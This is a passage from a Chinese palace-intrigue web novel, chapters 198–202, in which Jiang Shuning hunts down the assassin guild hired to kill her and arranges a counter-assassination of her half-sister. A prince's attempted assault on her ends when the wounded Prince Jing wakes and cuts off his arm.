“妾身不是说过吗?姜姝宁,就是他的软肋,是他唯一的死穴。他那么在乎那个贱人,肯定不会眼睁睁看着她受伤。所以,杀姜姝宁,就等同于杀他。” 萧修湛一听,眼中的怒火瞬间被狂喜所取代,他一把揽住姜瑶真的腰,大笑道:“哈哈哈!真儿果真聪明!” 他兴奋地在她脸上亲了一口,随即又像是想起了什么,状似不经意地问道,“所以,姜姝宁她……没事吧?” 姜瑶真懒懒地耸了耸肩:“妾身回了一趟娘家,特意问起姜姝宁,我爹说起话来遮遮掩掩的,一会儿说她去夏家小住了,一会儿又说她去了徐州探亲。想来是好几日没回府了。是死是活,还是个谜呢!” 听到这话,萧修湛袖子里的手下意识地握紧成拳。 但愿这次刺杀,只让萧凌川那个废物中了招,可千万别伤了姜姝宁分毫。 他等了这么久,忍了这么久,不就是为了这一天吗? 只要萧凌川废了,姜姝宁便是他萧修湛的囊中之物了! —— 姜姝宁去了一趟苏府。 苏婉正沉浸在大婚将至的喜悦中,见她到来,笑靥如花,忙拉她入内:“姜姑娘,你来得正是时候!快帮我瞧瞧,大婚当日该戴哪些朱钗更衬气色!” 姜姝宁握住她的手,目光沉静,语气郑重:“苏姑娘,你曾说若我有事可随时求助,此话可还算数?” “当然!”苏婉拍着胸脯,豪气道,“我苏婉一言九鼎!姜姑娘有何难处,尽管开口!” 姜姝宁眼中却闪过一丝冷芒,直言不讳:“苏家经商,门路广,可知江湖上哪家组织擅养死士?” 苏婉笑容一僵,杏眼圆睁:“你、你问这个做什么?” 姜姝宁目光一凛,声音低沉却坚定:“我要杀一个人!” 苏婉倒吸一口凉气,手中朱钗“啪嗒”落地,满脸震惊:“!!!” 第198章 背后隐藏的秘密 第一百九十八章 背后隐藏的秘密 姜姝宁见苏婉神色震惊,忙摆手道:“若是为难,便不必勉强,是我唐突了!” “不为难!”苏婉连忙拉住她的手,“我们苏家世代经商,常与三教九流打交道,这些江湖组织的事,自然知晓一些!你找我,算是找对人了!” “当真?”姜姝宁挑眉追问,“那你方才为何如此惊讶?” 苏婉尴尬一笑:“商人杀人越货倒也罢了,可你一个世家贵女,怎会动了杀人之念?” 姜姝宁目光一暗,语气低沉:“苏姑娘,不瞒你说,前几日在画舫上,我险些命丧黄泉,有人买通死士,要取我性命!” 苏婉闻言大惊失色:“天子脚下,谁有这般胆量,竟敢刺杀相府嫡女?” 姜姝宁冷笑,眼中寒芒毕露:“自然是连天子都不放在眼里之人!” 苏婉心头一凛,未再多问。 她转身去了父亲书房,不多时便拿来一份名单,递给姜姝宁:“这些年,苏家与这五家江湖组织有过往来。他们不接生客生意,若你看中哪家,我让我爹带你去见他们的当家。” 姜姝宁扫了一眼纸上名字,抬头问道:“能否每家都见上一见?” 苏婉一愣,迟疑道:“这……也不是不行!” 随后,苏老爷便被迫带着姜姝宁逐一拜访这五家江湖组织的头目。 一路上,他忍不住骂骂咧咧:“我活了大半辈子,还没见过姜姑娘你这般挑剔的!杀个人而已,怎还非得货比三家?若非婉儿求我,我才懒得管这闲事!” “劳烦苏老爷了。”姜姝宁低眉顺眼,却丝毫没有妥协的意思。 见到第一位江湖头目时,她开门见山:“前几日我在幽兰湖遇刺,可与你们有关?” 那头目脸色骤变,下意识瞥向苏老爷,沉声问:“苏老爷,两位是来谈生意,还是来寻仇家的?” 苏老爷也忙看向姜姝宁,皱眉劝道:“姜姑娘,江湖死士只管收钱办事,就算真伤了了人,也不能找他们算账的!” “我自然不会。”姜姝宁冷冷一笑,语气森然,“我只想找到当日受雇的组织,用双倍价码,请他们训练的死士帮我杀了那个雇主!” 头目摇了摇头,坦然道:“你这条件确实诱人,可惜我们并未接过幽兰湖的刺杀任务,怕不是你们要找之人。还请姑娘另寻别家!” 苏老爷又带着姜姝宁接连见了两个头目,有的甚至为接生意谎称自己曾在幽兰湖接过行刺任务,可惜对金主身份一问三 不知,漏洞百出,姜姝宁一眼便识破。 如今,只剩最后一家江湖组织。 苏老爷一天奔波数地,累得气喘吁吁,满脸不耐:“我说姜姑娘,杀个人罢了,何必非得揪着那个仇家买通的组织不放?我用过的这些组织,杀人越货干净利落,保管能帮你料理仇家!” 姜姝宁淡淡一笑,眼中却闪过一丝执拗:“多谢苏老爷好意,可我还是想找到那个组织!” 苏老爷气得险些翻白眼,低声嘀咕:“我就没见过比你更倔的姑娘!” 很快,苏老爷带着姜姝宁来到夜影阁的据点。 这是一间坐落于城西的破败饭馆,外表残旧,门楣上的牌匾甚至已然歪斜,透着一股说不出的诡异与萧索。 苏老爷在踏入饭馆前,特意低声警告姜姝宁:“这夜影阁的当家可不是好惹的主儿,手段狠辣,若是得罪了他,连金主他都敢杀!待会儿你少开口,一切由我来说!” 姜姝宁微微颔首,心中却自有计较,面上却是不显分毫。 饭馆内,夜影阁的当家——寒影,正端坐在一张老旧木桌旁。 他年过四十,面容却白 皙如玉,眉眼间透着一股阴柔之美,显得瑰丽却又令人心生寒意。 见到姜姝宁的那一瞬,他眼底闪过一抹不易察觉的诧异,但很快敛去情绪,起身朝苏老爷微微点头,算是打过招呼。 姜姝宁不动声色地打量着他,心中暗想:看来,定是这里无疑了! 苏老爷清了清嗓子,率先开口,语气中带着几分试探:“寒影,在下有句话想问。几日前,幽兰湖画舫上的刺杀一事,可是你们夜影阁接的活儿?” 寒影闻言,脸上浮现一抹诡谲的笑意,目光阴恻恻地扫向姜姝宁,声音低沉而危险:“怎么,这位姑娘是来寻仇的?能从我夜影阁的刀下捡回一条命,已是天大的造化,竟还敢找上门来,莫非是不想活了?” 话音未落,整个破旧饭馆的气氛骤然一变。 掌柜、小二,甚至那些看似普通、正在用餐的食客,竟齐齐站起身,手按腰间刀剑,目露凶光,将姜姝宁团团围困,杀气弥漫。 苏老爷见状,大惊失色,忙摆手陪笑道:“寒影当家,有话好说,可别动刀动枪啊!我们不是来闹事的!” 姜姝宁神色如常,目光直直迎上寒影那双阴冷的眸子:“寒影当家误会了,我并非来寻仇,而是来谈一笔生意。那日派你们前来刺杀我的雇主,给了你们多少报酬?我愿出双倍价码,雇你们这里的死士取她性命!” 寒影冷嗤一声:“姑娘口气倒是不小!不是我们夜影阁不愿赚这银子,只是此事牵连太大,我们不想自找麻烦。你可知,那位雇主与皇室颇有瓜葛,若杀了她,只怕会引来皇室追责,到时便是灭顶之灾!” 姜姝宁唇角微勾,露出一抹冷笑:“若我说,你们夜影阁早已惹下大麻烦,又当如何?” 寒影眉头微皱:“此话怎讲?!” 姜姝宁冷声道:“那日夜影阁派去五名死士,却未能杀我这个手无缚鸡之力的弱女子,当家可知为何?只因当时画舫上还有个景王殿下。他为了护我,挡下了你们死士的刀剑!景王虽因母族出自南月,不甚受皇室重视,可他毕竟是大邺皇子,皇家血脉。你们刺伤了他,觉得皇室会轻易放过你们吗?” 此言一出,寒影脸色骤变,眼底闪过一抹震惊与不安。 “你说什么?那景王……如今究竟如何了?” 姜姝宁见他神情有异,心中已然有了八分把握,面上却不动声色,继续冷声道:“景王殿下如今危在旦夕,命悬一线。那日死士的目标虽看似是我,可他与我同坐画舫出游,又怎会眼睁睁看我被杀?说不定,那雇主真正的目的根本不在我,而是借杀我做幌子,实则意在取景王性命!” 寒影听罢,脸色越发阴沉,眼底怒意渐浓。 片刻后,他开口,声音冷厉:“我寒影纵横江湖二十余载,从未被人如此戏弄!姑娘放心,这雇主我定会让她为此事付出代价!” 姜姝宁却目光一冷,直言不讳:“若我要她的命呢?” 寒影神色一僵,婉拒道:“夜影阁从不对与皇室有牵连之人下手,此事恕难从命!” 姜姝宁也不强求,起身淡淡道:“既如此,我便不为难当家了。” 随即转向苏老爷,语气平静,“苏老爷,我们走吧!” “就这样走了?”苏老爷一脸错愕,满目不可置信。 以姜姝宁那执拗性子,他还以为她会不择手段逼寒影就范,甚至撒泼打滚也在所不惜,怎料她竟如此干脆! 回程路上,苏老爷忍不住问道:“姜姑娘,你不是一心要复仇吗?怎么这般轻易放弃?” 那他今日陪着她四处奔波算什么? 算他老当益壮吗? “谁说我不报仇了?”姜姝宁道,“劳烦苏老爷一事,请派人暗中联络‘黑风堂’的头目,让他们调派几位武功绝顶的死士,秘密跟踪寒影。待他与那雇主见面后离去,立即对那雇主下手!若能取其性命,我愿出这个价!” 她伸出一根手指,眼中闪过一抹寒光。 黑风堂行事狠厉,想必为了赚她的报酬,定会想尽一切办法置姜瑶真于死地。 苏老爷更加不解:“你不是早就知晓那雇主是谁吗?为何不直接动手,偏要兜这么大的圈子,跑来夜影阁自找麻烦?害得我这一把老骨头,跟着你东奔西跑,险些累断腿!” 姜姝宁闻言,唇角微勾,露出一抹意味深长的笑意,却未多言。 若不故意绕这么一个大圈,又怎能确认姜瑶真背后倚仗的死士组织,正是这夜影阁? 这夜影阁,绝非普通的江湖势力那般简单,其背后隐藏的秘密,远比寻常人想象中更为复杂! 第199章 以唇渡药 第一百九十九章 以唇渡药 姜姝宁回到画舫,推门而入时,凌芜正小心翼翼地给萧凌川喂药。 见她归来,凌芜放下药碗,既紧张又生气:“大小姐怎能瞒着奴婢,说是回府取东西,却独自去寻那些培养死士的江湖组织?您可知奴婢有多担心!若您有个三长两短,奴婢如何向老爷交代?” 等王爷醒来,定会勃然大怒,责怪她护主不力。 “凌芜,让你担心了。那些江湖头目个个都是练家子,若带上你,他们难免心生戒备,未必肯吐露真言。我与苏老爷同去,更易让他们放松警惕,从而套出我想要的消息。” 凌芜不解,追问道:“奴婢还是不明白,大小姐若要取二小姐的性命,江湖死士多得是,为何非要揪着那个接了刺杀您任务的组织不放?” 姜姝宁目光一沉:“因为姜瑶真找的这个夜影阁,绝非寻常江湖组织。你想想,那夜刺杀我的黑衣人,竟能同时与你们三人交手,放眼大邺,有几个江湖组织能练出这样的死士?他们的武功如此超群,为何不去做权贵人家的暗卫,反倒甘愿走上这条不归路?” 凌芜若有所思,迟疑片刻,低声道:“莫非……是因为他们的身份有异?” “正是!”姜姝宁眼中闪过一丝锐芒,沉声道,“他们不是大邺人,而是南月人!” 此言一出,凌芜瞳孔猛缩,震惊得几乎失声,颤声问:“大小姐怎会如此确定?” 姜姝宁缓步走到窗边,望向平静无波的湖面,目光浅淡:“起初我只是猜测,但见了夜影阁当家寒影后,便有了八分把握。他年过四旬,容貌却出奇俊美,眉眼间带着一股异于常人的阴柔气质,绝非普通江湖人士所能有。 他拒绝我的生意,推说怕杀姜瑶真会牵连皇室,我猜应该只是托词。真正的原因,是姜瑶真身上流着南月血脉!夜影阁只为南月人办事,也只维护南月人的利益。” 而姜瑶真的生母不仅是南月人,还是南月公主,姜姝宁猜想,夜影阁这些年应该一直在为姜家姨娘做事,说不定还一起搜集大邺情报送给南月。 看似繁华安定的大邺,其实早就危机四伏。 凌芜闻言,震惊得几乎说不出话来,心头翻涌如潮。 她暗自思忖:王爷多年来殚精竭虑,欲寻南月潜伏在大邺的势力,未曾想,竟被大小姐以如此巧妙的方式揪了出来! “那……您就不怕夜影阁那些南月人心狠手辣,暗中对您下手?”凌芜担忧道,“毕竟,他们未能完成二小姐的刺杀任务,难保不会就地了结你!” 姜姝宁摇了摇头,唇角勾起一抹意味深长的笑:“他们不会。我故意提及王爷为救我身受重伤,又刻意误导寒影,让他以为姜瑶真以刺杀我为幌子,真正目标是取王爷性命。 寒影听后,果然震怒,扬言要亲自找姜瑶真讨个说法。我已暗中吩咐苏老爷,命‘黑风堂’的死士暗中跟踪寒影,待他与姜瑶真见面后离去,便对她痛下杀手!” 凌芜一愣,随即皱眉道:“何必如此大费周章?直接寻个由头将二小姐引出,找人杀了便是!” 姜姝宁目光微冷,缓缓摇头:“万万不可操之过急,以免授人以柄,落人口实。我此举有两重目的:其一,借寒影引出姜瑶真,若‘黑风堂’真能取下她的性命,届时大理寺会认为此番暗杀是夜影阁所为,我们可以彻底撇清关系; 其二,若刺杀失败,非但不会牵连到我们,还能让姜瑶真与夜影阁彻底翻脸。没了夜影阁这张王牌,她往后休想再兴风作浪!” 凌芜听罢,眼中闪过一抹由衷的敬佩,叹道:“大小姐果然心思缜密!难怪王爷对您如此倾心,甚至不惜以命相护,也要保您周全!” 听到这话,姜姝宁心头一震,胸口涌上一阵酸涩与复杂的情绪。 她低声道:“凌芜,我与王爷之间……并非你想的那般简单。他对我,未必是男女之情,更多的……是愧疚与……” 她的话戛然而止,生生将“利用”二字咽下。 那夜画舫上的惊险刺杀,萧凌川为她生生承受了一剑,这般舍命相护,令她再也无法将他的动机简单归为冷漠的“利用”。 凌芜见姜姝宁眼中满是掩不住的苦恼,心头也不由一酸。 她暗叹:王爷明明对大小姐情根深种,大小姐分明也已动心,却为何始终不肯敞开心扉,接受王爷的真心? 何时才能见他们二人终成眷属? 真是皇帝不急太监急! 她定了定神,转移话题道:“大小姐,奴婢方才给王爷喂药,他昏迷不醒,药汁根本咽不下去。孙神医说,这药是救他五脏六腑的关键,奴婢实在没办法了!” 姜姝宁转头看向榻上的萧凌川,只见他脸色苍白,气息微弱,的确很难将汤药顺利喂下。 她心头一紧,低声道:“把药碗给我,我来喂他。你先出去吧。” “是!”凌芜小心翼翼地将温热的药碗递给姜姝宁,默默退了出去,掩上房门。 室内瞬间安静下来,只余下萧凌川微弱的呼吸声。 姜姝宁端着药碗,凝视榻上那张苍白却依旧俊美无俦的面容,心中百味杂陈。 她舀起一小口温热的汤药,含入口中,随后俯下身,唇瓣覆上萧凌川冰凉的薄唇,以唇渡药。 前世,每次他因刺杀或毒害而陷入生死边缘,都是她用这种方式为他喂药,早已轻车熟路。 尽管如此,渡药时,唇瓣相触的那一瞬,她心头莫名一颤,脸颊竟不自觉地浮起一抹浅红。 他们都是重生之人,前世的种种皆记得,可今生毕竟不是夫妻,以唇渡药这种事很难不羞涩。 瞥见他那张因重伤而显得格外脆弱的俊美容颜,她的耳根更是烫得几乎能滴出血来。 她心中暗暗说服自己:罢了,此处无旁人,他又昏迷不醒,根本无人知晓此事。 救人要紧。 姜姝宁深吸一口气,强压下心头的杂念,再次低头继续含药喂进他口中。 药汁顺着唇角缓缓流入,带着一丝苦涩的药香弥漫开来。 她全神贯注地喂着药,却未曾察觉,身侧那只搁在榻边、骨节分明的修长手掌,指尖似是无意识地微微蜷起,仿佛在极力克制着某种情绪…… 第200章 刺杀 第二百章 刺杀 夜黑风高,寒风如刀,京城郊外一座破败的古寺内,姜瑶真紧了紧身上的大氅,眉宇间满是不耐。 她盯着对面那道阴柔却冷厉的男子,没好气道:“大冷天的,偏要选这荒郊野寺见面,到底有何事不能在来福酒楼雅间里说?” 寒影冷冷一笑,俊逸的面容在昏暗的烛火下显得愈发诡谲。 他踏前一步,目光如刀,直刺姜瑶真心底:“三皇子妃,你当真以为我找你来,是为了饮酒闲谈?你指使夜影阁的死士前往幽兰湖刺杀姜姝宁,为何隐瞒景王殿下也在画舫之上?你可知,他为护姜姝宁,生生挨了一剑,如今重伤未醒!他身上同样流着南月的血,你身为南月后代,怎能残害同族之人?” 姜瑶真心头一震,面上却强装镇定,避开他那咄咄逼人的目光,辩解道:“我的耳目只告诉我,姜姝宁要去幽兰湖赴约,谁能料到她竟是与景王私会?再说了,误伤景王的是你夜影阁的人,与我何干?” “与你何干?”寒影怒极反笑,声音陡然低沉,带着几分森冷的杀意,“三皇子妃,你别以为我不知道,你想借夜影阁的手除掉景王殿下!我劝你收起那些自作聪明的伎俩,夜影阁的底线,不是你能试探的!若有下次,别怪我不客气!” 说完,寒影拂袖转身,步伐决然,似要离去。 姜瑶真心头一紧,不甘地冲着他的背影高声道:“景王的生母不过是个卑贱的南月侍女,即便他受伤又如何?我姨娘可是南月公主,血统高贵,难道我不比他更尊贵?就算要取他性命也无可厚非!” 寒影倏然停步,转身回望,阴柔的脸上浮现一抹讥诮的神色:“南月公主?她是这么告诉你的?” 姜瑶真被他这嘲讽的语气刺得一滞,眉头微蹙:“你这是何意?难道我姨娘会骗我不成?” “既如此,你可有南月皇室信物——玉牌?拿出来让我看一看!” 玉牌? 萧凌川也曾向她索要过。 可姨娘从未跟她说过玉牌的事。 见她迟疑,寒影嗤笑更甚,语气间满是轻蔑:“连南月皇室的玉牌都拿不出,还敢自称公主之后?姜瑶真,我劝你少做白日梦,多干实事!” 话音未落,他身影一晃,迅速消失在夜色之中。 姜瑶真独自立在破庙中,寒风从破败的窗棂灌入,吹得她大氅猎猎作响。 她暗自思忖:看来姨娘没将玉牌带在身上,否则萧凌川杀了她之后,不可能没拿到那玉牌。 可那玉牌如今会在哪里呢? 正思索间,寺庙外忽传来一阵急促的脚步声。 姜瑶真猛然抬头,只见数道黑衣身影如鬼魅般冲入庙内,手中利剑在月光下闪着森冷寒芒。 “你、你们是谁?想干什么?”姜瑶真心头一惊,下意识后退一步,声音中透着几分慌乱。 为首的黑衣人冷笑一声,剑锋直指她心口:“我们是来送三皇子妃上路的死士!” 话音未落,他身形一闪,利剑如电,带着凌厉杀意直劈而下—— 姜瑶真虽从姨娘处学过几招防身武艺,但面对黑衣人凌厉的剑锋,只能险险避过那致命一击。 她未携兵器,步步后退,狼狈不堪,眼看就要命丧剑下。 就在这千钧一发之际,古寺内骤然杀入数名持剑侍卫,剑光如电,寒芒四射,转瞬之间,黑衣人尽数倒在血泊之中。 领头的侍卫快步上前,沉声问道:“三皇子妃,您可安好?” 姜瑶真惊魂未定,险些瘫软在地。 幸而她早有防备,赴寒影之约时暗中安排麟阁宫的侍卫埋伏在古寺附近,命他们一旦察觉异动便立即现身相救。 否则,此刻她早已身首异处! 她眼底燃起一抹刻骨恨意,低声咬牙道:“寒影,你好大的胆子,竟敢对我下手!等着瞧吧!” 身为南月公主的后裔,她何等尊贵? 夜影阁竟为一个低贱侍女之子对她刀剑相向! 待她寻回玉牌,证明南月皇室血脉,定要让寒影付出代价! 姜瑶真拖着疲惫的身躯回到麟阁宫。 萧修湛一见她归来,连忙快步迎上前:“真儿,你可算回来了!那贱种萧凌川如何?死了没有?” 姜瑶真眼眶一红,泫然欲泣:“殿下,妾身险些再也见不到您了!” 她扑入萧修湛怀中,娇躯微微颤抖,平复方才的惊魂一刻。 萧修湛眉头一皱,搂住她腰肢的手猛然收紧,沉声问道:“怎么回事?莫非夜影阁的当家对你动了杀心?这是为何?” 姜瑶真心头一紧,面上却强装无辜,低垂眼帘掩饰慌乱:“妾身也不知……许是有人买通夜影阁,欲取我性命!幸好妾身早有防备,带了侍卫随行,否则后果不堪设想!” 她绝不能让萧修湛知晓夜影阁与南月的瓜葛,更不敢吐露自己身上流着南月一半血的秘密。 否则,以萧修湛的性情,定会因她的异族身份而生嫌隙,甚至弃她如敝履。 萧修湛闻言,眼中疑云稍散,轻轻拍了拍她的肩,宽慰道:“无事便好,真儿无需惊惶。” 继而追问道,“那萧凌川如今究竟如何?当真死了?” “寒影说,他为护姜姝宁身负重伤,至今卧床不起。妾身猜想,他迟迟未离开画舫,定是伤势过重,命不久矣!”姜瑶真顿了顿,疑惑道,“可妾身不解,他既受此重创,为何不禀告父皇,借圣上之手彻查凶手?” 萧修湛冷笑一声,眼中阴鸷之色更浓:“他那群亲卫,怕是担心他重伤的消息外泄,会引来更多豺狼趁虚而入,故而刻意封锁消息。不过,父皇近来怕是无暇顾及他的死活了。” 姜瑶真心头微震,试探道:“殿下何出此言?父皇究竟怎么了?” “不提也罢!”他一笔带过,嘴角勾起一抹狰狞的弧度,“不过,既然我这四弟如今命悬一线,我这个做兄长的,怎能不去‘探望’一番,也好顺便送他一程,早登极乐!” 姜瑶真笑靥如花,眼底掠过一丝恶毒:“殿下英明!” 第201章 想趁机取人性命! 第二百零一章 想趁机取人性命! 姜姝宁正在喂萧凌川服汤药,画舫外却骤然传来一阵嘈杂的喧哗。 她心头一紧,推开窗棂,目光扫向甲板。 只见一群身披重铠、手握寒光利剑的侍卫,已将萧凌川的亲卫团团围住,剑拔弩张,气氛如绷紧的弓弦,随时可能断裂。 凌风面沉如水,声音冷冽:“三皇子殿下,带如此多的侍卫前来,意欲何为?” 萧修湛嘴角勾起一抹意味深长的笑,语气却带着几分虚伪的关切:“本皇子听闻四弟身受重伤,特意前来探望,怎奈你们这些亲卫如此戒备森严,莫非有何不可告人之事?” “王爷自有属下照料,无需殿下费心!”凌风寸步不让,眼中寒芒乍现,“还请殿下速速离去!” 萧修湛脸色一沉,眼中怒火骤燃,厉声道:“放肆!本皇子探望自家兄弟,哪轮得到你这下人置喙?来人,将他押下去!” 话音未落,他身后的侍卫如狼似虎,齐刷刷抽出长剑,寒光直逼凌风脖颈,杀气弥漫。 姜姝宁站在窗边,瞳孔猛缩,心跳如擂鼓。 这哪里是来探病,分明是想趁机取人性命! 凌芜急忙凑到她身旁,低声道:“大小姐,三皇子殿下此番来者不善,奴婢带您从后窗离开,躲起来吧!” “画舫已被他的人围得水泄不通,躲又能躲到何处?况且……”姜姝宁目光落回床上昏迷不醒的萧凌川,眼中闪过一丝复杂的情绪,“我绝不能弃他于此,独自逃生。” 萧修湛与萧凌川两世都势如水火。 如今萧凌川身陷昏迷,生死未卜,若她离去,谁知那丧心病狂的萧修湛会对他做出何等残忍之事? “可奴婢怕三皇子殿下会对您不利……” “凌芜,你有武功,从后窗潜出应该不难,成功离开画舫后,便去找肃王殿下搬救兵!”姜姝宁打断她,目光如炬,“我留在此处,拖住萧修湛,为你争取时间!” “大小姐……”凌芜还想再劝,却被姜姝宁推向临近湖面的窗棂。 “别犹豫了,再拖延恐生变故!快走!”姜姝宁低喝一声,语气不容置疑。 凌芜深深看了她一眼,又望向床榻上气息微弱的萧凌川,咬紧牙关,沉声道:“大小姐放心,奴婢定速去速回!” 凌芜刚翻窗跃入湖中,画舫暖阁的木门便被人猛地一脚踹开。 萧修湛大步迈入,锦袍在烛光下泛着冷光,目光如鹰隼般锐利,直直落在床头的姜姝宁身上。 她正低头为萧凌川擦拭嘴角残留的药渍,眉眼被烛火染上了一层暖黄色,更衬得温柔至极。 萧修湛心底陡然涌起一股难以抑制的妒恨。 萧凌川已然命悬一线,她却仍不顾男女之防,如此悉心照料! 在她心中,这废物四弟当真如此重要,值得她如此不离不弃? “姜姑娘,没想到你竟在此处!”萧修湛嘴角勾起一抹意味深长的笑。 姜姝宁不慌不忙地起身,敛衽行礼:“臣女见过三皇子殿下。” “姜姑娘无需多礼。”萧修湛上前一步,伸手扶起她,笑意中透着几分暧昧,“一个未出阁的女子,日日守在画舫照料我四弟,怕是于礼不合吧?” 姜姝宁想不着痕迹地避开他的触碰,却发现挣不开。 她心中厌恶如潮,却强压情绪,轻声道:“三皇子殿下言重了。景王殿下为救臣女身受重伤,臣女自当尽心照料,以报恩情。殿下既来探望,不如坐下,臣女为殿下奉一壶茶如何?” 她故意放缓语调,暗自盘算如何拖延时间,待凌芜搬来救兵。 萧修湛眼中闪过一丝异样的光彩,哈哈一笑:“好啊!当初在慈宁宫中品过姜姑娘的烹煮的茶,那味道至今念念不忘,今日定要再领教一番!” 姜姝宁不动声色地抽回手,转身走向茶案,背对萧修湛时,眼中闪过一抹冷意。 她动作轻缓地烹茶,耳边却捕捉到萧修湛贴身侍卫低声催促的细语,似在提醒他尽快对萧凌川下手。 萧修湛的目光落在床榻上昏迷不醒的萧凌川,嗤笑出声,语气中满是嘲讽:“我这四弟何时变得如此脆弱?瞧这模样,怕是离黄泉不远了吧?姜姑娘,他伤得可重?” 姜姝宁倒茶的手微微一顿,语气淡然却暗藏机锋:“殿下多虑了。景王服用的不过是安神之药,睡得沉些罢了。府医已诊治过,言明王爷身子无大碍,不日便可痊愈。” 她故意轻描淡写,以防萧修湛趁机对萧凌川下毒手。 萧修湛眼中闪过一丝阴鸷,显然不信她的话,语气陡然冷下:“哦?四弟伤势不重?看起来不像啊!姜姑娘,你该不会骗我的吧?” 姜姝宁心头一紧,故意转身冷冷看向他身后的侍卫,语气不卑不亢:“臣女所言句句属实。不过,殿下若真心探望王爷,还请遣退这些侍卫。暖阁狭小,如此多人,恐扰了王爷清静。” 萧修湛眯起眼,意味深长地盯着她,忽而挥手制止欲开口的侍卫,脸上浮起一丝意味不明的笑意:“也罢,既然四弟在休养,确实不宜人多嘈杂。你们,退下!” 侍卫们面面相觑,犹豫片刻后,躬身退出暖阁。 偌大的暖阁内,只剩萧修湛、姜姝宁,以及躺在床榻上、气息微弱的萧凌川。 萧修湛端起姜姝宁奉上的茶盏,轻啜一口:“姜姑娘的茶艺果然非凡,汤色清香,回味无穷。本皇子甚是欢喜!” “三皇子殿下谬赞。若是喜欢,还请多喝一些。” “只在这里喝可不够啊!”萧修湛笑得暧昧,“麟阁宫正缺一位茶艺精湛的佳人,姜姑娘若肯屈就妾室之位,定能与本皇子共创佳话。不知意下如何?” 姜姝宁闻言,脸色骤变。 她强压怒火,冷声道:“殿下请自重!臣女早已言明,此生不嫁,更遑论为妾!” “哦?如此决绝?”萧修湛笑容渐冷,眼中闪过一抹狰狞。 他猛地起身,一把扣住她的手腕,力道之大几乎要捏碎她的骨头,语气低沉而危险,“姜姑娘既敬酒不吃,那就莫怪本皇子用强,让你不得不从!” 姜姝宁心头大骇,下意识想袖弩反击,却又顾忌守在门外的侍卫,怕他借机发难,趁乱对萧凌川下手。 她强忍恐惧,压低声音道:“殿下慎言!此等动静,恐惊扰王爷!” 萧修湛狂笑出声,眼中尽是肆无忌惮的疯狂:“惊扰?本皇子偏要赌一赌,看看我与姜姑娘‘成事’之时,我那四弟能否醒来!” 他猛地将她拽起,一把甩向萧凌川身旁的床榻,狞笑道,“姜姑娘,在四弟身侧做这等事,是否格外刺激?” 姜姝宁佯装惊慌失措,泪光盈盈:“殿下,求您住手!” 暗中却悄悄探向袖中,握住藏匿的袖弩,脑中飞速盘算如何一击制敌,又不惊动门外侍卫。 不如,直接击中他的嘴巴,让他发不出声? 萧修湛见她梨花带雨的模样,愈发兴奋,猛地扑向她。 就在此刻,姜姝宁袖中的小白蛇如闪电般窜出,狠狠咬向他的手臂。 萧修湛吃痛,怒吼一声,尚未反应过来,原本一动不动的萧凌川竟猛地睁眼,眼中寒光爆绽。 他抓起枕边长剑,剑光如匹练般斩下! “啊——”萧修湛惨叫声响彻暖阁,手臂应声断落,鲜血喷涌,瞬间染红了床榻与地面…… 第202章 不要如此惧怕本王 第二百零二章 不要如此惧怕本王 萧修湛的侍卫冲进暖阁,入目便是满地猩红,萧修湛疼得在地上翻滚,断臂处鲜血如泉涌。 而萧凌川已经醒来,宛若地狱归来的煞神,手中长剑寒光凛冽,剑刃上血迹未干,滴滴坠落。 他神色阴沉如冰,目光如刀锋般直刺门口的侍卫,杀意弥漫。 为首的侍卫双目赤红,怒吼道:“有人伤三皇子殿下!来人,替殿下报仇!” 话音未落,萧修湛的侍卫们齐刷刷拔剑,寒光闪烁,直扑萧凌川。 暖阁外,凌风察觉异动,目光一凛,猛地挣脱侍卫钳制,手中长剑铮然出鞘,与萧修湛的侍卫展开激烈交锋。 萧凌川的亲卫见状,亦拔刀迎战,剑光如电,杀气四溢。 刹那间,画舫甲板上刀光剑影,杀声震天,整个画舫陷入一片混乱的厮杀。 暖阁中的姜姝宁听到厮杀声,心跳如擂鼓,正欲开口,被萧凌川一把护在身后。 他周身散发着森冷杀气,低沉嗤笑,声音如寒冰炸裂:“一群乌合之众,也敢在本王面前放肆?” 眼看一场血腥恶战一触即发,忽然听到不远处传来一声雷霆般的怒喝:“都给本王住手!” 窗外,肃王萧锦瑜带着大批精锐侍卫,迅速登上画舫。 他身穿玄色锦袍,气势如山岳压顶,目光扫过甲板,杀气四溢的场面瞬间凝滞。 侍卫们见状纷纷收剑,退至两侧,不敢造次。 萧锦瑜大步迈入暖阁,目光触及满地鲜血与萧修湛的断臂,眉头紧锁。 只见萧修湛瘫在地上,脸色惨白如纸,断臂处血流不止,痛苦呻 吟声断续传出。 而萧凌川倚坐床头,脸上虽带着病气,却难掩一身凌厉气势,手中长剑依旧紧握,血迹斑驳。 “你们这是做什么故?大邺皇子竟自相残杀,若传至朝堂,皇室颜面何存?”肃王沉声斥责,语气威严,带着长兄的凛然气度。 “二哥……”萧修湛强忍剧痛,咬牙挤出一句,声音颤抖,“四弟他……竟狠心砍断我手臂……” 不等他说完,萧凌川冷笑出声,眼中寒光更盛:“你活该!谁让你觊觎不该碰之人?” 他语气森冷,字字如刀,带着毫不掩饰的杀意。 “萧凌川!”萧修湛气得目眦欲裂,却因剧痛无法起身,只能咬牙瞪视。 “够了!”肃王冷喝一声,目光扫向萧修湛的侍卫,“还不快扶你们主子去找太医?再继续这样血流不止,华佗再世也救不回这条命!” “是,肃王殿下!”两名侍卫慌忙上前,一人架起萧修湛,另一人小心翼翼拾起地上的断臂,匆匆退出暖阁。 萧修湛被搀扶出画舫,仍不死心,强撑着痛苦向肃王诉苦:“二哥,我好心探望四弟,怎料他心狠手辣……竟砍我手臂……你可要为我做主!” 肃王冷哼一声,眼中尽是不屑:“三弟,你那点心思本王还看不透?你今日带着大批侍卫登船,分明不怀好意!若非四弟及时醒来,怕是早已身首异处!你还有脸恶人先告状?” 他顿了顿,声音更冷,“至于你这断臂能否接回,还得看四弟的意思。放眼京城,唯孙神医有回天之术,偏偏他与四弟交情深厚。你好自为之,莫再自寻死路!” 萧修湛闻言,脸色愈发灰败,眼中闪过一丝怨毒,却再不敢多言,被侍卫架着踉跄离去。 暖阁内,姜姝宁惊魂未定。 她望向萧凌川,担忧道:“王爷,您当着众人之面砍了三皇子手臂,若此事传到陛下耳中……” 萧凌川斜倚在床榻上,唇角勾起一抹意味深长的冷笑,眼中却透着不容置疑的笃定:“放心,父皇如今自顾不暇,没有心思管这些事。” 否则,萧修湛也不会趁机带着侍卫来画舫,想取他性命。 想来,他也是知道此事的。 姜姝宁心头掠过一丝不安,却也无暇深究。 她回想起方才萧修湛的意图,仍心有余悸。 “幸好王爷及时醒来,否则……” 